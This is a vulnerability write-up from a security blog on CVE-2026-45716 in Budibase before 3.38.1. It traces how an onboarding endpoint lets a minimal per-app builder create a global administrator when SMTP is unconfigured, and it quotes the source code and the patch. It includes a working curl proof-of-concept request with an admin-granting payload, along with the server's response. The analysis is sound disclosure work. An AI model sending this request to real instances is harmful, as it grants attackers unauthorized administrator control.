//nefariousplan

CVE-2026-45716: Budibase's Onboarding Endpoint Has Two Trust Models. SMTP Picks Which One.

vendor

patterns

cve

proof of concept

Budibase 3.38.0 ships a handler called onboardUsers. It is registered at POST /api/global/users/onboard through a middleware bucket called builderOrAdminRoutes. The first line of the handler asks await isEmailConfigured(). If the answer is yes, it hands off to inviteMultiple, which mails an invitation code; the recipient has to control the inbox and click through to accept the role. If the answer is no, it generates a twelve-character password, writes the requested account directly via bulkCreate, and returns the password in the HTTP response.

The branch picks the trust model. The route middleware never sees the branch.

The default for self-hosted Budibase is no SMTP.

CVE-2026-45716 is filed against Budibase versions before 3.38.1, with a CVSS vector of AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. The PR:L in that vector is doing a lot of work; the privilege required is the smallest credential hasBuilderPermissions accepts.

The Safe Routes Are Across The Hall. They Wear A Different Badge.

packages/worker/src/api/routes/global/users.ts declares three handlers that can write into the global user table. Two of them require a global admin. One of them required a workspace builder.

adminRoutes
  .post(
    "/api/global/users/bulk",
    users.buildUserBulkUserValidation(),
    controller.bulkUpdate
  )

adminRoutes
  .post(
    "/api/global/users/multi/invite",
    buildInviteMultipleValidation(),
    controller.inviteMultiple
  )

builderOrAdminRoutes
  .post(
    "/api/global/users/onboard",
    buildInviteMultipleValidation(),
    controller.onboardUsers
  )

adminRoutes is gated by auth.adminOnly. builderOrAdminRoutes is gated by auth.workspaceBuilderOrAdmin. The two admin-only handlers cover the two operations a privileged caller might want: send a batch of invitation emails (/multi/invite), or create a batch of users directly (/bulk). They are the two paths an administrator's UI would use depending on whether the admin wants the recipients to confirm or wants the accounts to exist now.

onboardUsers is the third path. It calls inviteMultiple when SMTP is configured and it calls bulkCreate when SMTP is not. By design, it is both of the admin-only operations, one or the other, selected at runtime by the operator's email configuration. It lives in a middleware bucket one rank wider than either of the operations it dispatches to.

The Function Has Two Bodies

export const onboardUsers = async (
  ctx: Ctx<InviteUsersRequest, InviteUsersResponse>
) => {
  if (await isEmailConfigured()) {
    await inviteMultiple(ctx)
    return
  }

  let createdPasswords: Record<string, string> = {}
  const users = ctx.request.body.map<User>(invite => {
    const password = generatePassword(12)
    createdPasswords[invite.email] = password

    return {
      email: invite.email,
      password,
      forceResetPassword: true,
      roles: invite.userInfo.apps || {},
      admin: { global: !!invite.userInfo.admin },
      builder: invite.userInfo.builder,
      tenantId: tenancy.getTenantId(),
    }
  })

  let resp = await userSdk.db.bulkCreate(users)
  for (const user of resp.successful) {
    user.password = createdPasswords[user.email]
  }
  ctx.body = { ...resp, created: true }
}

The first branch is the invitation flow. The recipient gets an email containing a code. The code lives in a cache. The recipient must call POST /api/global/users/invite/accept with the code, supply their own password, and only then does a user row materialize. The userInfo.admin and userInfo.builder fields are stored against the invite code, not against a user; whoever ultimately accepts the invite is the one who collects the role.

The second branch reads invite.userInfo.admin and invite.userInfo.builder straight off the request body and writes them onto the new user with no further check. There is no recipient confirmation, because there is no recipient that the caller has to be distinct from. The caller is given the password directly. The forceResetPassword: true flag fires on next login, but the caller is the one logging in, and the reset is a fresh password they choose.

The validator on the route is the schema registered for both inviteMultiple and onboardUsers:

function buildInviteMultipleValidation() {
  return auth.joiValidator.body(Joi.array().required().items(
    Joi.object({
      email: Joi.string(),
      userInfo: Joi.object().optional(),
    })
  ))
}

userInfo is Joi.object().optional() with no inner schema. The validator accepts whatever shape the caller posts. For the invitation flow that does not matter, because the recipient owns the accept step. For the direct-create flow, it means the caller decides whether the new user is a global administrator.

A Workspace Builder Has hasBuilderPermissions Globally

workspaceBuilderOrAdmin is the middleware:

export async function workspaceBuilderOrAdmin(ctx: UserCtx, next: any) {
  if (ctx.internal || isAdmin(ctx.user)) {
    return next()
  }

  const workspaceId = await getWorkspaceIdFromCtx(ctx)

  if (workspaceId && !isAdminOrWorkspaceBuilder(ctx.user, workspaceId)) {
    ctx.throw(403, "Workspace Admin/Builder user only endpoint.")
  } else if (!workspaceId && !env.isWorker()) {
    ctx.throw(403, "This request required a workspace id.")
  } else if (!workspaceId && !hasBuilderPermissions(ctx.user)) {
    ctx.throw(403, "Admin/Builder user only endpoint.")
  }

  return next()
}

/api/global/users/onboard runs in the worker service. Its path carries no workspace identifier. The branch through the middleware that applies is the third one: !workspaceId && !hasBuilderPermissions(ctx.user). If the caller passes hasBuilderPermissions, they pass the gate.

export function hasBuilderPermissions(user?: UserBuilderInfo): boolean {
  if (!user) {
    return false
  }
  return (
    user.builder?.global ||
    hasAppBuilderPermissions(user) ||
    hasCreatorPermissions(user)
  )
}

The function returns true for global builders, for per-app builders on any single workspace app, and for any user holding the CREATOR role on any single workspace app. The smallest possible builder, a user with one CREATOR role on one app inside one workspace, satisfies the gate to /api/global/users/onboard.

The full exploit primitive on a default self-hosted instance:

curl -X POST https://budibase.example.com/api/global/users/onboard \
  -H "Cookie: budibase:auth=<creator-session>" \
  -H "Content-Type: application/json" \
  -d '[{
    "email": "[email protected]",
    "userInfo": {
      "admin": true,
      "builder": { "global": true }
    }
  }]'

Response body:

{
  "successful": [{
    "_id": "us_...",
    "email": "[email protected]",
    "password": "0a5c1f9b3e7d"
  }],
  "unsuccessful": [],
  "created": true
}

The caller now holds the credentials for a global administrator on a tenant where, a few seconds ago, they were a per-app builder. They log in, are prompted to reset the password, choose one, and they are the admin.

The Patch Deletes The Endpoint

The 3.38.1 fix for CVE-2026-45716 is one commit against this file. The route registration is removed:

 builderOrAdminRoutes
   ...
-  .post(
-    "/api/global/users/onboard",
-    buildInviteMultipleValidation(),
-    controller.onboardUsers
-  )

The handler is removed:

-/*
-  Encapsulate the app user onboarding flows here.
-*/
-export const onboardUsers = async (
-  ctx: Ctx<InviteUsersRequest, InviteUsersResponse>
-) => {
-  if (await isEmailConfigured()) {
-    await inviteMultiple(ctx)
-    return
-  }
-  ...
-  ctx.body = { ...resp, created: true }
-}

The 12-byte password generator goes with it, since nothing else in the file uses it. The isEmailConfigured import is removed because nothing else in this controller checks for SMTP.

The patch does not move the route from builderOrAdminRoutes to adminRoutes. It does not add a role check inside the handler. It does not constrain userInfo to a schema that rejects admin: true from non-admin callers. It removes the route and the handler. The maintainers concluded there was no version of this endpoint that worked.

The deleted test confirms what was missing the whole time:

-  describe("POST /api/global/users/onboard", () => {
-    it("should successfully onboard a user", async () => {
-      const response = await config.api.users.onboardUser([
-        { email: structures.users.newEmail(), userInfo: {} },
-      ])
-      expect(response.successful.length).toBe(1)
-      expect(response.unsuccessful.length).toBe(0)
-    })
-
-    it("should not onboard a user who has been invited", async () => {
-      ...
-    })
-  })

The single test that exercised the handler passed userInfo: {}. The role-assignment behavior, which is the CVE, was never in a test. The author wrote a fallback for the no-SMTP case, gave that fallback the ability to mint global administrators from request-body fields, and shipped a test suite that only ever passed those fields as empty.

Confirmation Was Conditional

The handler's authorization model was not decided by the route or by the function's signature. It was decided by whether the operator had configured SMTP. With SMTP configured, the recipient owned a confirmation step. Without it, the caller owned a direct write.

The confirmation, in the SMTP path, was the entire defense. Not the route's middleware, which let in workspace builders. Not buildInviteMultipleValidation, which accepted any userInfo. The defense was that the new user did not exist until the recipient clicked through. The inviteAccept step is where the request body finally meets a check on who is allowed to perform it: the recipient holds the inbox, the recipient sets their own password, the recipient is the one to whom the role attaches. When the SMTP branch fired, that check existed downstream. When the no-SMTP branch fired, no downstream step ever ran.

isEmailConfigured is implemented like this:

export async function isEmailConfigured() {
  if (TEST_MODE || env.SMTP_FALLBACK_ENABLED) {
    return true
  }
  const config = await configs.getSMTPConfig()
  return config != null
}

getSMTPConfig looks up an SMTP record from the global configuration store. The default for self-hosted Budibase ships with no SMTP record. An operator who starts a self-hosted instance, creates one workspace, hands one developer the CREATOR role on one app, and never gets around to configuring outbound email has produced the exploit's preconditions. The operator did not change a security setting. They left a deployment task undone.

This is the confirmation-was-conditional shape: a privileged-action handler's confirmation step is conditioned on the availability of the confirmation channel. When the channel is unconfigured at the operator level, the handler short-circuits to direct mutation with the credential returned in the HTTP response. The route's middleware authorizes the endpoint as a whole; the runtime branch decides whether the caller transits the confirmation boundary or skips it. The handler's safety lives in the operator's environment, not in the code.

It is also a trust-inversion shape this catalog has seen recently in WP Maps Pro: a user-management endpoint whose by-design behavior is to mint administrators becomes a privilege-escalation primitive reachable from a much smaller credential. WP Maps Pro gated its admin-minting handler with a CSRF nonce that printed inline on every public page. Budibase gated its admin-minting branch with the operator's SMTP record. Neither of those things is an authentication check. Both of them were dressed as one.

PoC and advisory: GHSA-c54j-xp92-wh28.

A handler whose security model is selected by await isEmailConfigured() does not have a security model. The patch agrees.